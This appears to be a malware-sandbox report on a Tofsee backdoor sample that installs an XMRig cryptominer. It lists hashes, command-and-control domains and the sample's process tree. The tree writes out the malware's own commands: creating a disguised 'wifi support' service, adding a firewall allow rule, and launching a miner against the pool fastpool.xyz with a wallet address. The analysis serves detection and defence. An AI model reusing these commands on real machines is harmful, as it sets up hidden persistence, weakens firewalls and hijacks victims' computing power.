Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/06/2023, 19:01

General

  • Target

    file.exe

  • Size

    228KB

  • MD5

    701b5a67cb9fa8b38304719b3a6f256b

  • SHA1

    7a9ee197045de8b0efe76078e15ce58da0beb5be

  • SHA256

    002a4246be4001cc2fb7f2e68c52feac96653f27c128035c034ace04c65b7311

  • SHA512

    9608d7ec935a3d36ce549b66366a00ca83264a3ddf4d5613c005e1e0a6d903dd174f340178d9670f0c83148f5431b176a051994e8fadd2b1dcdec68806fa9285

  • SSDEEP

    3072:+3LpDXKlskzgJqi9EN3zCuChWFUqSS82Tor1yv9oHFh:ULpTKlsQlRz8MO2MGoH

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yujvmzjt\
      2⤵
        PID:4452
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pwviqqyc.exe" C:\Windows\SysWOW64\yujvmzjt\
        2⤵
          PID:4440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yujvmzjt binPath= "C:\Windows\SysWOW64\yujvmzjt\pwviqqyc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yujvmzjt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yujvmzjt
          2⤵
          • Launches sc.exe
          PID:4244
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 644
          2⤵
          • Program crash
          PID:3832
      • C:\Windows\SysWOW64\yujvmzjt\pwviqqyc.exe
        C:\Windows\SysWOW64\yujvmzjt\pwviqqyc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1664
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 536
          2⤵
          • Program crash
          PID:3132
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4956 -ip 4956
        1⤵
          PID:2700
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 980 -ip 980
          1⤵
            PID:3096

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pwviqqyc.exe

            Filesize

            10.0MB

            MD5

            0fb64e79d44e34e9d614fba2d1741279

            SHA1

            257ddb51eef0a17b356f6eda774ebd452b18abf7

            SHA256

            53ff5b52cdc0a7266f8d97a523218c08edb588072e91bea48c513434d6561b85

            SHA512

            758517ae6de7610e90da82a304ba86a17ebc674f6e392c80fc6c41e2ed8951cd8d857ad0f319bd7fb5d07887fd15b3f5455ab6a1cdb12b03f93f94447553435c

          • C:\Windows\SysWOW64\yujvmzjt\pwviqqyc.exe

            Filesize

            10.0MB

            MD5

            0fb64e79d44e34e9d614fba2d1741279

            SHA1

            257ddb51eef0a17b356f6eda774ebd452b18abf7

            SHA256

            53ff5b52cdc0a7266f8d97a523218c08edb588072e91bea48c513434d6561b85

            SHA512

            758517ae6de7610e90da82a304ba86a17ebc674f6e392c80fc6c41e2ed8951cd8d857ad0f319bd7fb5d07887fd15b3f5455ab6a1cdb12b03f93f94447553435c

          • memory/980-146-0x0000000000400000-0x00000000004AF000-memory.dmp

            Filesize

            700KB

          • memory/1664-188-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-199-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-198-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-197-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-196-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-195-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-194-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/1664-193-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/3476-166-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-172-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-156-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-159-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-160-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-162-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-161-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-163-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-164-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-165-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-167-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-140-0x0000000000620000-0x0000000000635000-memory.dmp

            Filesize

            84KB

          • memory/3476-168-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-169-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-171-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-170-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-173-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-153-0x00000000019A0000-0x00000000019A6000-memory.dmp

            Filesize

            24KB

          • memory/3476-175-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-174-0x00000000019B0000-0x00000000019C0000-memory.dmp

            Filesize

            64KB

          • memory/3476-176-0x00000000027D0000-0x00000000027D5000-memory.dmp

            Filesize

            20KB

          • memory/3476-179-0x00000000027D0000-0x00000000027D5000-memory.dmp

            Filesize

            20KB

          • memory/3476-180-0x0000000007200000-0x000000000760B000-memory.dmp

            Filesize

            4.0MB

          • memory/3476-183-0x0000000007200000-0x000000000760B000-memory.dmp

            Filesize

            4.0MB

          • memory/3476-184-0x00000000027E0000-0x00000000027E7000-memory.dmp

            Filesize

            28KB

          • memory/3476-152-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/3476-149-0x0000000002200000-0x000000000240F000-memory.dmp

            Filesize

            2.1MB

          • memory/3476-148-0x0000000000620000-0x0000000000635000-memory.dmp

            Filesize

            84KB

          • memory/3476-145-0x0000000000620000-0x0000000000635000-memory.dmp

            Filesize

            84KB

          • memory/3476-144-0x0000000000620000-0x0000000000635000-memory.dmp

            Filesize

            84KB

          • memory/3476-143-0x0000000000620000-0x0000000000635000-memory.dmp

            Filesize

            84KB

          • memory/4956-135-0x0000000000640000-0x0000000000653000-memory.dmp

            Filesize

            76KB

          • memory/4956-138-0x0000000000400000-0x00000000004AF000-memory.dmp

            Filesize

            700KB